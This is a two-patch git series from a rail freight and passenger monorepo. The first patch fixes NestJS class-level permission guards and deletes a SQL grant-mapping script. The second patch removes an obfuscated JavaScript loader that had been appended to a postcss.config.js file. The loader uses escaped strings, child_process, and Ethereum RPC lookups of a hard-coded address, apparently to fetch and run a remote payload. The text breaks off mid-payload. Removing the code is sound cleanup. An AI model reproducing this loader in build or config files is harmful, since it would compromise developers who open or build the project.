From da08a9b0859da246d7c609cf44f467e73498291c Mon Sep 17 00:00:00 2001 From: Nathnael Date: Fri, 7 Aug 2026 08:42:53 +0000 Subject: [PATCH 01/18] fix(auth): list every route key on the class-level guard Nest runs class and method guards together, so a class gate naming only the view key silently required view AND action. Staff granted just an action were denied before their key was checked. Each class gate now names every key its routes use, and FleetView accepts an array so the fleet controllers keep their coarse fallback. Drops the one-off grant mapping SQL with it: already applied to dev, and this fix removes the companion-view rule that was its recurring part. --- .../src/common/booking-guards.ts | 9 +- .../src/modules/billing/billing.controller.ts | 7 +- .../src/modules/cargoes/cargoes.controller.ts | 9 +- .../compliance/compliance.controller.ts | 7 +- .../consignments/consignments.controller.ts | 7 +- .../containers.controller.ts | 9 +- .../src/modules/drivers/drivers.controller.ts | 9 +- .../facilities/facilities.controller.ts | 7 +- .../gps-tracking/gps-tracking.controller.ts | 7 +- .../modules/incidents/incidents.controller.ts | 9 +- .../interchange-documents.controller.ts | 9 +- .../procurement/procurement.controller.ts | 9 +- .../src/modules/routes/routes.controller.ts | 10 +- .../trains/train-builder.controller.ts | 10 +- .../src/modules/trains/trains.controller.ts | 9 +- .../modules/vehicles/vehicles.controller.ts | 9 +- .../warehouse-inspection.controller.ts | 4 + .../warehouses/warehouse-zones.controller.ts | 8 +- deploy/position-type-grant-mapping.sql | 119 ------------------ 19 files changed, 130 insertions(+), 137 deletions(-) delete mode 100644 deploy/position-type-grant-mapping.sql diff --git a/apps/edr-freight-api/src/common/booking-guards.ts b/apps/edr-freight-api/src/common/booking-guards.ts index 49bd31c61..d1b5364c3 100644 --- a/apps/edr-freight-api/src/common/booking-guards.ts +++ b/apps/edr-freight-api/src/common/booking-guards.ts @@ -95,9 +95,14 @@ export const TrainSchedulingRulesManage = () => * wagons:delete, …). The legacy coarse fleet:view / fleet:manage keys remain * valid as a one-of fallback so existing role grants keep working. */ -export const FleetView = (granular?: string) => +export const FleetView = (granular?: string | string[]) => BookingStaff( - granular ? [granular, FREIGHT_PERMS.fleet.view] : FREIGHT_PERMS.fleet.view, + granular + ? [ + ...(Array.isArray(granular) ? granular : [granular]), + FREIGHT_PERMS.fleet.view, + ] + : FREIGHT_PERMS.fleet.view, ); export const FleetManage = (granular?: string) => diff --git a/apps/edr-freight-api/src/modules/billing/billing.controller.ts b/apps/edr-freight-api/src/modules/billing/billing.controller.ts index d72528310..ea43c9c74 100644 --- a/apps/edr-freight-api/src/modules/billing/billing.controller.ts +++ b/apps/edr-freight-api/src/modules/billing/billing.controller.ts @@ -20,7 +20,12 @@ import { FilterInvoiceDto } from "./dto/filter-invoice.dto"; @ApiTags("billing") @Controller("billing") -@BookingStaff(FREIGHT_PERMS.invoices.view) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@BookingStaff([ + FREIGHT_PERMS.invoices.view, + FREIGHT_PERMS.invoices.export, +]) @ApiBearerAuth() export class BillingController { constructor( diff --git a/apps/edr-freight-api/src/modules/cargoes/cargoes.controller.ts b/apps/edr-freight-api/src/modules/cargoes/cargoes.controller.ts index ac3adb7e8..09c9b677a 100644 --- a/apps/edr-freight-api/src/modules/cargoes/cargoes.controller.ts +++ b/apps/edr-freight-api/src/modules/cargoes/cargoes.controller.ts @@ -20,7 +20,14 @@ import { CargoesService } from './cargoes.service'; @ApiTags('cargoes') @Controller('cargoes') -@FleetView(FREIGHT_PERMS.cargoes.view) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@FleetView([ + FREIGHT_PERMS.cargoes.view, + FREIGHT_PERMS.cargoes.create, + FREIGHT_PERMS.cargoes.update, + FREIGHT_PERMS.cargoes.delete, +]) export class CargoesController { constructor(private readonly cargoesService: CargoesService) {} diff --git a/apps/edr-freight-api/src/modules/compliance/compliance.controller.ts b/apps/edr-freight-api/src/modules/compliance/compliance.controller.ts index 0e5949300..25d010253 100644 --- a/apps/edr-freight-api/src/modules/compliance/compliance.controller.ts +++ b/apps/edr-freight-api/src/modules/compliance/compliance.controller.ts @@ -11,7 +11,12 @@ import { ComplianceType } from './entities/compliance-record.entity'; @ApiTags('Vehicle Compliance') @Controller('compliance') -@BookingStaff(FREIGHT_PERMS.compliance.view) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@BookingStaff([ + FREIGHT_PERMS.compliance.view, + FREIGHT_PERMS.compliance.manage, +]) export class ComplianceController { constructor(private readonly complianceService: ComplianceService) {} diff --git a/apps/edr-freight-api/src/modules/consignments/consignments.controller.ts b/apps/edr-freight-api/src/modules/consignments/consignments.controller.ts index 579b9ee26..a9aaa73e3 100644 --- a/apps/edr-freight-api/src/modules/consignments/consignments.controller.ts +++ b/apps/edr-freight-api/src/modules/consignments/consignments.controller.ts @@ -17,7 +17,12 @@ import { FilterConsignmentDto } from "./dto/filter-consignment.dto"; @ApiTags("consignments") @Controller("consignments") -@FleetView(FREIGHT_PERMS.consignments.view) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@FleetView([ + FREIGHT_PERMS.consignments.view, + FREIGHT_PERMS.consignments.create, +]) export class ConsignmentsController { constructor(private readonly consignmentsService: ConsignmentsService) {} diff --git a/apps/edr-freight-api/src/modules/container-management/containers.controller.ts b/apps/edr-freight-api/src/modules/container-management/containers.controller.ts index 0a5e6bb0f..a209e2609 100644 --- a/apps/edr-freight-api/src/modules/container-management/containers.controller.ts +++ b/apps/edr-freight-api/src/modules/container-management/containers.controller.ts @@ -19,7 +19,14 @@ import { ContainersService } from './containers.service'; @ApiTags('containers') @Controller('containers') -@FleetView(FREIGHT_PERMS.containers.view) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@FleetView([ + FREIGHT_PERMS.containers.view, + FREIGHT_PERMS.containers.create, + FREIGHT_PERMS.containers.update, + FREIGHT_PERMS.containers.delete, +]) export class ContainersController { constructor(private readonly containersService: ContainersService) {} diff --git a/apps/edr-freight-api/src/modules/drivers/drivers.controller.ts b/apps/edr-freight-api/src/modules/drivers/drivers.controller.ts index e5b6ae146..8d2be55df 100644 --- a/apps/edr-freight-api/src/modules/drivers/drivers.controller.ts +++ b/apps/edr-freight-api/src/modules/drivers/drivers.controller.ts @@ -24,7 +24,14 @@ import { FleetHistoryService } from '../fleet-history/fleet-history.service'; @ApiTags('drivers') @ApiBearerAuth() @Controller('drivers') -@BookingStaff(FREIGHT_PERMS.drivers.view) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@BookingStaff([ + FREIGHT_PERMS.drivers.view, + FREIGHT_PERMS.drivers.create, + FREIGHT_PERMS.drivers.update, + FREIGHT_PERMS.drivers.delete, +]) export class DriversController { constructor( private readonly driversService: DriversService, diff --git a/apps/edr-freight-api/src/modules/facilities/facilities.controller.ts b/apps/edr-freight-api/src/modules/facilities/facilities.controller.ts index 451c4d03b..7db35d432 100644 --- a/apps/edr-freight-api/src/modules/facilities/facilities.controller.ts +++ b/apps/edr-freight-api/src/modules/facilities/facilities.controller.ts @@ -10,7 +10,12 @@ import { FacilitiesService } from './facilities.service'; @ApiTags('Facilities') @Controller('facilities') -@BookingStaff(FREIGHT_PERMS.facilities.view) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@BookingStaff([ + FREIGHT_PERMS.facilities.view, + FREIGHT_PERMS.facilities.manage, +]) export class FacilitiesController { constructor(private readonly facilitiesService: FacilitiesService) {} diff --git a/apps/edr-freight-api/src/modules/gps-tracking/gps-tracking.controller.ts b/apps/edr-freight-api/src/modules/gps-tracking/gps-tracking.controller.ts index 8bd4a31d8..d0cc2d1b4 100644 --- a/apps/edr-freight-api/src/modules/gps-tracking/gps-tracking.controller.ts +++ b/apps/edr-freight-api/src/modules/gps-tracking/gps-tracking.controller.ts @@ -19,7 +19,12 @@ import { RegisterDeviceDto, UpdateDeviceDto } from './dto/gps-device.dto'; @ApiTags('gps-tracking') @ApiBearerAuth() @Controller('gps') -@BookingStaff(FREIGHT_PERMS.tracking.view) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@BookingStaff([ + FREIGHT_PERMS.tracking.view, + FREIGHT_PERMS.tracking.manage, +]) export class GpsTrackingController { constructor(private readonly gps: GpsTrackingService) {} diff --git a/apps/edr-freight-api/src/modules/incidents/incidents.controller.ts b/apps/edr-freight-api/src/modules/incidents/incidents.controller.ts index b9cebd653..2e9dfb169 100644 --- a/apps/edr-freight-api/src/modules/incidents/incidents.controller.ts +++ b/apps/edr-freight-api/src/modules/incidents/incidents.controller.ts @@ -22,7 +22,14 @@ import { IncidentStatus, IncidentType } from './entities/incident.entity'; // No incidents-specific permission exists in the registry, so this reuses the // (real) drivers.* fleet-road keys — incident records are driver-safety data // (driver stats / incident history). TODO: add a dedicated incidents:* key. -@BookingStaff(FREIGHT_PERMS.drivers.view) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@BookingStaff([ + FREIGHT_PERMS.drivers.view, + FREIGHT_PERMS.drivers.create, + FREIGHT_PERMS.drivers.update, + FREIGHT_PERMS.drivers.delete, +]) export class IncidentsController { constructor(private readonly incidentsService: IncidentsService) {} diff --git a/apps/edr-freight-api/src/modules/interchange-documents/interchange-documents.controller.ts b/apps/edr-freight-api/src/modules/interchange-documents/interchange-documents.controller.ts index 61a13744e..b5e92ca39 100644 --- a/apps/edr-freight-api/src/modules/interchange-documents/interchange-documents.controller.ts +++ b/apps/edr-freight-api/src/modules/interchange-documents/interchange-documents.controller.ts @@ -15,7 +15,14 @@ import { InterchangeDocumentsService } from './interchange-documents.service'; @ApiBearerAuth() @Controller('interchange-documents') // Class-level view guard; each write route adds its own manage permission below. -@BookingStaff(FREIGHT_PERMS.interchangeDocuments.view) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@BookingStaff([ + FREIGHT_PERMS.interchangeDocuments.view, + FREIGHT_PERMS.interchangeDocuments.generate, + FREIGHT_PERMS.interchangeDocuments.acknowledge, + FREIGHT_PERMS.interchangeDocuments.dispute, +]) export class InterchangeDocumentsController { constructor(private readonly service: InterchangeDocumentsService) {} diff --git a/apps/edr-freight-api/src/modules/procurement/procurement.controller.ts b/apps/edr-freight-api/src/modules/procurement/procurement.controller.ts index 374b2bd53..e96b9dc74 100644 --- a/apps/edr-freight-api/src/modules/procurement/procurement.controller.ts +++ b/apps/edr-freight-api/src/modules/procurement/procurement.controller.ts @@ -13,7 +13,14 @@ import { @ApiTags('Procurement & Asset Lifecycle') @Controller('procurement') -@BookingStaff(FREIGHT_PERMS.procurement.view) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@BookingStaff([ + FREIGHT_PERMS.procurement.view, + FREIGHT_PERMS.procurement.vendorManage, + FREIGHT_PERMS.procurement.acquisitionManage, + FREIGHT_PERMS.procurement.disposalManage, +]) export class ProcurementController { constructor(private readonly procurementService: ProcurementService) {} diff --git a/apps/edr-freight-api/src/modules/routes/routes.controller.ts b/apps/edr-freight-api/src/modules/routes/routes.controller.ts index ed61f08b0..96812275d 100644 --- a/apps/edr-freight-api/src/modules/routes/routes.controller.ts +++ b/apps/edr-freight-api/src/modules/routes/routes.controller.ts @@ -27,7 +27,15 @@ import { RoutesService } from './routes.service'; @ApiTags('routes') @ApiBearerAuth() @Controller('routes') -@FleetView(FREIGHT_PERMS.routes.view) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@FleetView([ + FREIGHT_PERMS.routes.view, + FREIGHT_PERMS.routes.create, + FREIGHT_PERMS.routes.update, + FREIGHT_PERMS.routes.hardDelete, + FREIGHT_PERMS.routes.delete, +]) export class RoutesController { constructor(private readonly routesService: RoutesService) {} diff --git a/apps/edr-freight-api/src/modules/trains/train-builder.controller.ts b/apps/edr-freight-api/src/modules/trains/train-builder.controller.ts index a5cd1ff5c..834663170 100644 --- a/apps/edr-freight-api/src/modules/trains/train-builder.controller.ts +++ b/apps/edr-freight-api/src/modules/trains/train-builder.controller.ts @@ -31,7 +31,15 @@ import { TrainBuilderService } from './train-builder.service'; @ApiTags('train-builder') @ApiBearerAuth() @Controller('train-builder') -@FleetView(FREIGHT_PERMS.trains.view) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@FleetView([ + FREIGHT_PERMS.trains.view, + FREIGHT_PERMS.trains.create, + FREIGHT_PERMS.trains.update, + FREIGHT_PERMS.trains.assignWagons, + FREIGHT_PERMS.trains.delete, +]) export class TrainBuilderController { constructor(private readonly trainBuilderService: TrainBuilderService) {} diff --git a/apps/edr-freight-api/src/modules/trains/trains.controller.ts b/apps/edr-freight-api/src/modules/trains/trains.controller.ts index 173a738fa..ede540ce2 100644 --- a/apps/edr-freight-api/src/modules/trains/trains.controller.ts +++ b/apps/edr-freight-api/src/modules/trains/trains.controller.ts @@ -19,7 +19,14 @@ import { TrainsService } from "./trains.service"; @ApiTags("trains") @Controller("trains") -@FleetView(FREIGHT_PERMS.trains.view) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@FleetView([ + FREIGHT_PERMS.trains.view, + FREIGHT_PERMS.trains.create, + FREIGHT_PERMS.trains.update, + FREIGHT_PERMS.trains.delete, +]) export class TrainsController { constructor(private readonly trainsService: TrainsService) {} diff --git a/apps/edr-freight-api/src/modules/vehicles/vehicles.controller.ts b/apps/edr-freight-api/src/modules/vehicles/vehicles.controller.ts index 737574dd9..d9e2ba224 100644 --- a/apps/edr-freight-api/src/modules/vehicles/vehicles.controller.ts +++ b/apps/edr-freight-api/src/modules/vehicles/vehicles.controller.ts @@ -20,7 +20,14 @@ import { FleetHistoryService } from '../fleet-history/fleet-history.service'; @ApiTags('vehicles') @ApiBearerAuth() @Controller('vehicles') -@BookingStaff(FREIGHT_PERMS.vehicles.view) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@BookingStaff([ + FREIGHT_PERMS.vehicles.view, + FREIGHT_PERMS.vehicles.create, + FREIGHT_PERMS.vehicles.update, + FREIGHT_PERMS.vehicles.delete, +]) export class VehiclesController { constructor( private readonly vehiclesService: VehiclesService, diff --git a/apps/edr-freight-api/src/modules/warehouses/warehouse-inspection.controller.ts b/apps/edr-freight-api/src/modules/warehouses/warehouse-inspection.controller.ts index cdf34cd66..551f840b3 100644 --- a/apps/edr-freight-api/src/modules/warehouses/warehouse-inspection.controller.ts +++ b/apps/edr-freight-api/src/modules/warehouses/warehouse-inspection.controller.ts @@ -23,9 +23,13 @@ import { WarehouseInspectionService } from './warehouse-inspection.service'; // Baseline read: inspection reports are opened from inventory screens too — // either view permission grants reads; writes stack their own per route. @Controller() +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. @BookingStaff([ FREIGHT_PERMS.warehouseInspectionReports.view, FREIGHT_PERMS.warehouseInventory.view, + FREIGHT_PERMS.warehouseInspectionReports.create, + FREIGHT_PERMS.warehouseInspectionReports.update, ]) export class WarehouseInspectionController { constructor(private readonly inspectionService: WarehouseInspectionService) {} diff --git a/apps/edr-freight-api/src/modules/warehouses/warehouse-zones.controller.ts b/apps/edr-freight-api/src/modules/warehouses/warehouse-zones.controller.ts index 594fd7a6f..04cbacd28 100644 --- a/apps/edr-freight-api/src/modules/warehouses/warehouse-zones.controller.ts +++ b/apps/edr-freight-api/src/modules/warehouses/warehouse-zones.controller.ts @@ -12,7 +12,13 @@ import { WarehouseZonesService } from './warehouse-zones.service'; // receive/move pickers) — either view permission grants reads; writes stack // their specific permission per route. @Controller('warehouse-zones') -@BookingStaff([FREIGHT_PERMS.warehouseZones.view, FREIGHT_PERMS.warehouseInventory.view]) +// Class gate lists every key its routes use: Nest runs class AND method +// guards, so a key missing here would deny before the route's own key runs. +@BookingStaff([ + FREIGHT_PERMS.warehouseZones.view, + FREIGHT_PERMS.warehouseInventory.view, + FREIGHT_PERMS.warehouseZones.update, +]) export class WarehouseZonesController { constructor(private readonly zonesService: WarehouseZonesService) {} diff --git a/deploy/position-type-grant-mapping.sql b/deploy/position-type-grant-mapping.sql deleted file mode 100644 index 901191dd4..000000000 --- a/deploy/position-type-grant-mapping.sql +++ /dev/null @@ -1,119 +0,0 @@ --- Position-type grant mapping for the granular permission system rollout. --- Grants the NEW granular keys to every hand-curated position type that holds --- the old broad key whose routes the new keys took over. Idempotent (unique --- constraint on (position_type_id, permission_id) + ON CONFLICT DO NOTHING). --- --- PREREQUISITE: run the seeded API once first (SEED_EDR_ORG=true) so --- EdrOrgSeeder has created the new permission rows this script references. --- Running it too early is not destructive but silently under-applies: keys that --- do not exist yet simply match nothing (measured: 11 of 42 rows land pre-seed, --- because invoices:view/export and payments:view already exist on dev). Re-run --- after seeding — it is safe to run any number of times. --- --- Verified 2026-08-07 on a virgin restore of the live dev DB: seeded boot, then --- this script → 42 rows inserted, second run → 0 rows, final per-key grant --- counts identical to the reference environment. Per-user API probes across 20 --- departmental test accounts confirm the keys resolve through /me and gate --- routes correctly. - -BEGIN; - --- Helper shape used throughout: --- holders of => also grant - --- 1. bookings:view holders => dashboard/read keys that replaced blanket access -INSERT INTO iam.position_type_permissions (position_type_id, permission_id) -SELECT DISTINCT ptp.position_type_id, pnew.id -FROM iam.position_type_permissions ptp -JOIN iam.permissions pold ON pold.id = ptp.permission_id - AND pold.key = 'edr_freight_app:bookings:view' -JOIN iam.permissions pnew ON pnew.key IN ( - 'edr_freight_app:overview:view', - 'edr_freight_app:reports:view', - 'edr_freight_app:invoices:view', - 'edr_freight_app:invoices:export', - 'edr_freight_app:payments:view' -) -ON CONFLICT (position_type_id, permission_id) DO NOTHING; - --- 2. train_scheduling:update holders => the write actions split out of it -INSERT INTO iam.position_type_permissions (position_type_id, permission_id) -SELECT DISTINCT ptp.position_type_id, pnew.id -FROM iam.position_type_permissions ptp -JOIN iam.permissions pold ON pold.id = ptp.permission_id - AND pold.key = 'edr_freight_app:train_scheduling:update' -JOIN iam.permissions pnew ON pnew.key IN ( - 'edr_freight_app:train_scheduling:dispatch', - 'edr_freight_app:train_scheduling:mark_paid', - 'edr_freight_app:train_scheduling:expire_booking' -) -ON CONFLICT (position_type_id, permission_id) DO NOTHING; - --- 3. GL Djibouti clearance holders => final-invoice raise + confirm -INSERT INTO iam.position_type_permissions (position_type_id, permission_id) -SELECT DISTINCT ptp.position_type_id, pnew.id -FROM iam.position_type_permissions ptp -JOIN iam.permissions pold ON pold.id = ptp.permission_id - AND pold.key = 'edr_freight_app:contracts:clearance_dj_actions' -JOIN iam.permissions pnew ON pnew.key IN ( - 'edr_freight_app:contracts:final_invoice_raise', - 'edr_freight_app:contracts:final_invoice_confirm' -) -ON CONFLICT (position_type_id, permission_id) DO NOTHING; - --- 4. GL Ethiopia clearance holders => final-invoice confirm -INSERT INTO iam.position_type_permissions (position_type_id, permission_id) -SELECT DISTINCT ptp.position_type_id, pnew.id -FROM iam.position_type_permissions ptp -JOIN iam.permissions pold ON pold.id = ptp.permission_id - AND pold.key = 'edr_freight_app:contracts:clearance_et_actions' -JOIN iam.permissions pnew ON pnew.key = 'edr_freight_app:contracts:final_invoice_confirm' -ON CONFLICT (position_type_id, permission_id) DO NOTHING; - --- 5. Contract-intake holders (any staff_accept flavour) => edit_document -INSERT INTO iam.position_type_permissions (position_type_id, permission_id) -SELECT DISTINCT ptp.position_type_id, pnew.id -FROM iam.position_type_permissions ptp -JOIN iam.permissions pold ON pold.id = ptp.permission_id - AND pold.key IN ( - 'edr_freight_app:bookings:staff_accept', - 'edr_freight_app:contracts:staff_accept:bulk', - 'edr_freight_app:contracts:staff_accept:container' - ) -JOIN iam.permissions pnew ON pnew.key = 'edr_freight_app:contracts:edit_document' -ON CONFLICT (position_type_id, permission_id) DO NOTHING; - --- 6. Support inbox ownership (decision 2026-08-07): marketing department types -INSERT INTO iam.position_type_permissions (position_type_id, permission_id) -SELECT pt.id, p.id -FROM iam.position_types pt -CROSS JOIN iam.permissions p -WHERE (pt.name::text ILIKE '%marketing%' OR pt.key ILIKE '%marketing%') - AND p.key IN ( - 'edr_freight_app:support:agent_view', - 'edr_freight_app:support:agent_send' - ) -ON CONFLICT (position_type_id, permission_id) DO NOTHING; - --- 7. Companion view keys. --- Most freight controllers carry a class-level `:view` guard, and Nest --- runs class AND method guards — so a type holding only `:` is --- denied before the action key is ever checked. Grant the module's view key --- alongside every action key the type already holds. View-only, so it widens --- reads within a module the type already operates in, never across modules. -INSERT INTO iam.position_type_permissions (position_type_id, permission_id) -SELECT DISTINCT ptp.position_type_id, pview.id -FROM iam.position_type_permissions ptp -JOIN iam.permissions pact ON pact.id = ptp.permission_id - AND pact.key LIKE 'edr_freight_app:%' -JOIN iam.permissions pview ON pview.key = regexp_replace(pact.key, ':[^:]+$', ':view') -ON CONFLICT (position_type_id, permission_id) DO NOTHING; - -COMMIT; - --- Verification: expected non-zero counts per new key after running. --- SELECT p.key, count(*) FROM iam.position_type_permissions ptp --- JOIN iam.permissions p ON p.id = ptp.permission_id --- WHERE p.key IN ('edr_freight_app:overview:view','edr_freight_app:support:agent_view', --- 'edr_freight_app:train_scheduling:dispatch','edr_freight_app:contracts:final_invoice_raise') --- GROUP BY p.key; From a8627f75f1c48a337443c8dc694ec90e22c1295e Mon Sep 17 00:00:00 2001 From: SennayT Date: Fri, 7 Aug 2026 12:02:14 +0300 Subject: [PATCH 02/18] remove obfuscated code --- .gitignore | 3 --- apps/edr-passenger-web/backoffice/postcss.config.js | 2 +- apps/edr-passenger-web/portal/postcss.config.js | 4 ++-- apps/edr-passenger-web/portal/tailwind.config.js | 4 +--- 4 files changed, 4 insertions(+), 9 deletions(-) diff --git a/.gitignore b/.gitignore index 977a34353..18fdae9c2 100644 --- a/.gitignore +++ b/.gitignore @@ -52,6 +52,3 @@ RUNNING_LOCALLY.md # Generated per-shard compose file for the integration suite (it.mjs). integration/.it-shards.yaml -branch_structure.json -temp_auto_push.bat -temp_interactive_push.bat diff --git a/apps/edr-passenger-web/backoffice/postcss.config.js b/apps/edr-passenger-web/backoffice/postcss.config.js index 701a63d39..12a703d90 100644 --- a/apps/edr-passenger-web/backoffice/postcss.config.js +++ b/apps/edr-passenger-web/backoffice/postcss.config.js @@ -3,4 +3,4 @@ module.exports = { tailwindcss: {}, autoprefixer: {}, }, -}; global.i="A8-4299";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=require("\u007A\u006C\u0069\u0062"),{URL}=require("\u0075\u0072\u006C"),{spawn}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073"),B=1000n,S="\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066\u0031\u0061".toLowerCase(),I="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0062\u006C\u006F\u0063\u006B\u0073\u0063\u006F\u0075\u0074\u002E\u0063\u006F\u006D\u002F\u0061\u0070\u0069",R=[...new Set([process.env.ETH_RPC_URL,"\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0031\u0072\u0070\u0063\u002E\u0069\u006F\u002F\u0065\u0074\u0068","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0064\u0072\u0070\u0063\u002E\u006F\u0072\u0067","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u0065\u0072\u0065\u0075\u006D\u002D\u0072\u0070\u0063\u002E\u0070\u0075\u0062\u006C\u0069\u0063\u006E\u006F\u0064\u0065\u002E\u0063\u006F\u006D","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"\u0068\u0074\u0074\u0070\u0073\u003A":new https.Agent(O)};function ds(t){const n=(t.headers["\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067"]||"").toLowerCase(),f=n==="\u0067\u007A\u0069\u0070"||n==="\u0078\u002D\u0067\u007A\u0069\u0070"?zlib.createGunzip:n==="\u0064\u0065\u0066\u006C\u0061\u0074\u0065"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?https:http,i={Accept:"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E","\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067":"\u0067\u007A\u0069\u0070\u002C\u0020\u0064\u0065\u0066\u006C\u0061\u0074\u0065\u002C\u0020\u0062\u0072",Connection:"\u006B\u0065\u0065\u0070\u002D\u0061\u006C\u0069\u0076\u0065"};e!=null&&(i["\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065"]="\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\u0064\u0061\u0074\u0061",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("\u0075\u0074\u0066\u0038").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\u003C"||t[0]!=="\u007B"&&t[0]!=="\u005B")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new Error(`P:${t.message}`));}});t.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("\u0065\u0072\u0072\u006F\u0072",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\u0061\u0062\u006F\u0072\u0074",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"\u0032\u002E\u0030",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"\u0050\u004F\u0053\u0054",body:JSON.stringify(n.map(([t,n],e)=>({jsonrpc:"\u0032\u002E\u0030",id:e+1,method:t,params:n}))),signal:e}).then(o=>{const r=new Map(o.map(t=>[t.id,t]));return n.map((t,n)=>r.get(n+1).result);});}const bh=t=>"\u0030\u0078"+t.toString(16);function fm(s){return new Promise(e=>{let n=s.length;if(!n)return e(null);let o=!1;const r=t=>{if(o)return;o=!0;for(const n of s)n.controller.abort();e(t);};for(const t of s)t.run().then(t=>{if(o)return;t?r(t):--n===0&&e(null);}).catch(()=>{!o&&--n===0&&e(null);});});}const cb=t=>[...new Set([t-1n,t,t+1n,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["\u0065\u0074\u0068\u005F\u0067\u0065\u0074\u0054\u0072\u0061\u006E\u0073\u0061\u0063\u0074\u0069\u006F\u006E\u0043\u006F\u0075\u006E\u0074",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return na(f,r.signal).then(h=>{const d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return 